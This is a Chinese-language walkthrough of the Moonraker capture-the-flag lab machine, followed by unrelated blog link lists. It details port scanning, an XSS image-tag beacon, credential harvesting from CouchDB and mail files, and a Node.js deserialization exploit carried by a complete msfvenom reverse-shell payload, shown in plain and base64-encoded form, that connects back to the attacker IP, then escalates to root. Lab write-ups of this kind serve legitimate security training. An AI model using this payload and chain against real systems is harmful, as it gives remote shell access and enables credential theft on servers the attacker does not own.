Moonraker靶机
仅供个人娱乐
靶机搭建与下载
Monraker靶机ip: 192.168.181.135
kali攻击者ip : 192.168.181.128
说明:获取目标主机的root权限并读取目录中的flag.txt文件
一、主机探测
Ip
arp-scan -l
netdiscover -i eth0 -r 192.168.181.1/24
nmap -sn 192.168.181.1/24
端口
nmap -sS -n 192.168.181.135
nmap -sV -n 192.168.181.135
nmap -sV -p- -A 192.168.181.135
Web
扫描之后发现目标开放了22(ssh),80(http),3000(http),4369(epmd),5984(couchDb)等端口。目标开放了http端口,用web浏览器打开查看
目录
看见一个robots.txt
二、漏洞查找
日志
一、创建文件
试了一下用带图片标记去查询表单
var/www/html# vi test.txt
二、开启apache2
启动apache服务,并在/var/www/html目录下新建一个测试文件test.txt,内容随便写一个。
需在终端输入“vim
/etc/apache2/ports.conf” -> 键盘输入i 进入插入编辑模式 ->
修改apache2默认监听端口号为8080 -> 编辑好后,按Esc键+“:wq” 保存退出 ->
在终端输入“/etc/init.d/apache2 start”
/etc/init.d/apache2 start
三、输入xss
<img src=”http://192.168.181.128/test.txt”></img>
点击提交后
Windows
Kali
使用命令查看日志
使用命令查看日志
tail -f /var/log/apache2/access.log
可以发现日志http refefer地址:http://192.168.1.10/svc-inq/salesmoon-gui.php
在日志中发现了新的页面,在浏览器打开
在新的页面里有两个链接
打开CouchDB Notes在这个页面得到了关于用户的账号密码提示,这个对我们来说是很重要的。
账号密码提示
username: jaws
password: 女朋友名字+x99的组合
百度或者谷歌jaws的女朋友
然后根据提示信息,接下来就应该要查看couchdb这个了,这个怎么打开呢,我们在扫描端口时是开放了一个5984端口就是用来访问这个的,于是打开浏览器访问
已获取到Fauxton系统中Apache
CouchDB的用户名和密码。要了解有关Fauxton和CouchDB的更多信息,我们可以通过googel搜索
http://docs.couchdb.org/en/stable/fauxton/install.html
四、登录数据库
使用jaws账号密码登录
username: jaws
password: dollyx99
在links里发现写信息,访问提示的目录
其中在HR这个目录发现了重要的信息
访问这个5界面可以得到4个账号和密码
我也尝试了这些账号密码去ssh爆破,都无果,难道这些账号是用来混淆的?
其中hugo这个账号正是我们想要的,因为我们在这个页面发现是有node.js反序列化漏洞的
Node.js反序列化的漏洞执行远程代码
http://192.168.181.135:3000
username: hugo
password: TempleLasersL2K
登录后
Bp抓包修改cookie
接下来使用burp抓包,注意要抓登录的包,然后先发送到repeater,g根据右边setCookies提示设置
开始利用,因为这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
漏洞分析https://www.anquanke.com/post/id/85458
使用msfvenom生成nodejs反弹shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.181.128 LPORT=1521
(function(){
var require = global.require ||
global.process.mainModule.constructor._load; if (!require) return; var
cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var
net = require("net"), cp = require("child_process"), util =
require("util"), sh = cp.spawn(cmd, []); var client = this; var
counter=0; function StagerRepeat(){ client.socket = net.connect(1521,
"192.168.181.128", function() { client.socket.pipe(sh.stdin); if (typeof
util.pump === "undefined") { sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout,
client.socket); util.pump(sh.stderr, client.socket); } });
socket.on("error", function(error) { counter++; if(counter<= 10){
setTimeout(function() { StagerRepeat();}, 5*1000); } else
process.exit(); }); } StagerRepeat(); })();
从终端输出msfvenom到rce.js
进行修改
{"rce":"_$$ND_FUNC$$_function
(){ var require = global.require ||
global.process.mainModule.constructor._load; if (!require) return; var
cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\";
var net = require(\"net\"), cp = require(\"child_process\"), util =
require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var
counter=0; function StagerRepeat(){ client.socket = net.connect(1521,
\"192.168.181.128\", function() { client.socket.pipe(sh.stdin); if
(typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout,
client.socket); util.pump(sh.stderr, client.socket); } });
socket.on(\"error\", function(error) { counter++; if(counter<= 10){
setTimeout(function() { StagerRepeat();}, 5*1000); } else
process.exit(); }); } StagerRepeat(); }()"}
将以上payload做base64编码
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTgxLjEyOFwiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=
nc 监听反弹
为了方便shell,使用python进行shell交互
python -c 'import pty; pty.spawn("/bin/bash")'
查看开放的端口,发现开启了邮件服务,
netstat -pantu
在/var/mail目录下存在邮件但是权限不足无法查看
了解CouchDB的配置后,发现默认的安装目录为/opt/couchdb目录下,在配置文件中找到密码.
tail /opt/couchdb/etc/local.ini
username: hugo
password: 321Blast0ff!!
cd /var/mail
Ls
cat hugo
信息中提到包括root的密码,又告诉我们在root密码后面+VR00M,和一段hash值,复制到文件进行hash破解
su root
Password: cyberVR00M
flag信息查看
成功以root身份登录,在检查其邮件目录时,我们找到了flag.txt文件。
root@moonraker:~# cd /root
root@moonraker:~# ls
coreDesktop Downloads flag.txt
root@moonraker:~# cat flag.txt
参考https://www.anquanke.com/post/id/173159
Moonraker靶机的更多相关文章
- Moonraker 靶机渗透
0x01 简介 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: htt ...
- Moonraker:1靶机入侵
0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
- Ms17-010进行WEB提权之实践下某培训靶机服务器
前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...
- metasploit利用漏洞渗透攻击靶机
1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...
- web 攻击靶机解题过程
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...
- Fowsniff: 1靶机入侵
一.信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...
- digitalworld.local: MERCY靶机入侵
0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...
- FourAndSix: 2.01靶机入侵
0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...
随机推荐
- 「10.10」神炎皇(欧拉函数)·降雷皇(线段树,DP)·幻魔皇
A. 神炎皇 很好的一道题,可能第一次在考场上遇到欧拉函数 题意:对于一个整数对 $(a,b)$,若满足 $a\times b\leq n$且$a+b$是$a\times b$的因子, 则称为神奇的数 ...
- mybatis入“坑”第一步
一.导入坐标 要想通过maven创建一个简单的mybatis项目,首先需要的是要导入相关的坐标.需要导入的坐标如下: <dependencies> <!--mysql驱动坐标--&g ...
- 【odoo14】【开发侧】权限配置
欢迎转载,但需标注出处,谢谢! 说明: 本文面向开发人员,普通用户可参考[odoo14][用户侧]权限配置.文章结构与用户侧一致. 目录 一. odoo中的对象 二. 权限控制 2.1 实现原理 2. ...
- C#winform的Richtextbox控件实现自动滚动到最后一行功能
这里有两种情况 如果是采用的是richtextbox的AppendText的方法添加的内容,则只需 设置HideSelection为false 如果采用的是其他添加内容的方法,则需要添加TextCha ...
- 同事内推的那位Linux C/C++后端开发同学面试没过......
最近同事内推了一位 Linux C/C++ 后端开发的同学到我们公司面试,我是一面的面试官,很遗憾这位工作了两年的同学面试表现不是很好.我问了如下一些问题: "redis持久化机制,redi ...
- C程序从编译到运行
第一篇文章 一.前言 最近在看CSAPP(深入理解计算机系统)然后以前也学过C语言,但是从来没有深究写好的C代码是怎么编译再到执行的. 所以现在自己学习,然后记录下来. 以最常用的hello worl ...
- 每日三道面试题,通往自由的道路4——JVM篇
茫茫人海千千万万,感谢这一秒你看到这里.希望我的面试题系列能对你的有所帮助!共勉! 愿你在未来的日子,保持热爱,奔赴山海! 每日三道面试题,成就更好自我 昨天既然你有讲到字符串常量池是吧,那这样吧 1 ...
- Vue 利用后端的数据字典和Map对象实现表格列字段动态转义的处理方案
1.前言 Vue中,使用el-table组件,经常遇到列字段转义的问题.常规处理方法有以下两种: 方法1:在模板中使用v-if,直接转义.如: <el-table-column label= ...
- 1、如何通过xstart远程连接桌面
1.1.安装依赖包: 1.安装语言包: [root@slave-node2 ~]# yum groupinstall -y "Fonts" [root@slave-node2 ~] ...
- 资源:Kafka消息队列下载路径
Kafka下载路径 http://kafka.apache.org/downloads.html